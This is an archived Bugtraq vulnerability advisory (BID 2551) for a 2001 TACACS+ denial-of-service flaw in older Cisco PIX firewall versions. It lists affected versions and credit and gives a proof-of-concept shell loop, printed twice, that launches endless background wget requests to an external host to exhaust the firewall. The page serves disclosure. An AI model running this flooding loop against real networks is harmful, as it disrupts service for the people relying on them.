Cisco PIX TACACS+ Denial of Service Vulnerability
BID:2551
Info
Cisco PIX TACACS+ Denial of Service Vulnerability
| Bugtraq ID: | 2551 |
| Class: | Origin Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 06 2001 12:00AM |
| Updated: | Apr 06 2001 12:00AM |
| Credit: | This vulnerability was announced to Bugtraq by Claudiu Calomfirescu <[email protected]> on April 6, 2001. |
| Vulnerable: |
Cisco PIX Firewall 5.3 Cisco PIX Firewall 5.2 (2) Cisco PIX Firewall 5.1.4 Cisco PIX Firewall 5.1 Cisco PIX Firewall 5.0 Cisco PIX Firewall 4.4 (8) Cisco PIX Firewall 4.4 (7.202) Cisco PIX Firewall 4.4 (4) Cisco PIX Firewall 4.3 Cisco PIX Firewall 4.2.2 Cisco PIX Firewall 4.2.1 Cisco PIX Firewall 4.2 (5) Cisco PIX Firewall 4.1.6 b Cisco PIX Firewall 4.1.6 Cisco PIX Firewall 4.0 |
| Not Vulnerable: |
Cisco PIX Firewall 6.0 (1) Cisco PIX Firewall 5.3 (1) |
Exploit / POC
Cisco PIX TACACS+ Denial of Service Vulnerability
From an internal system:
while (true); do (wget http://external.system 2>/dev/null &); done
From an internal system:
while (true); do (wget http://external.system 2>/dev/null &); done
References
Cisco PIX TACACS+ Denial of Service Vulnerability
References:
References: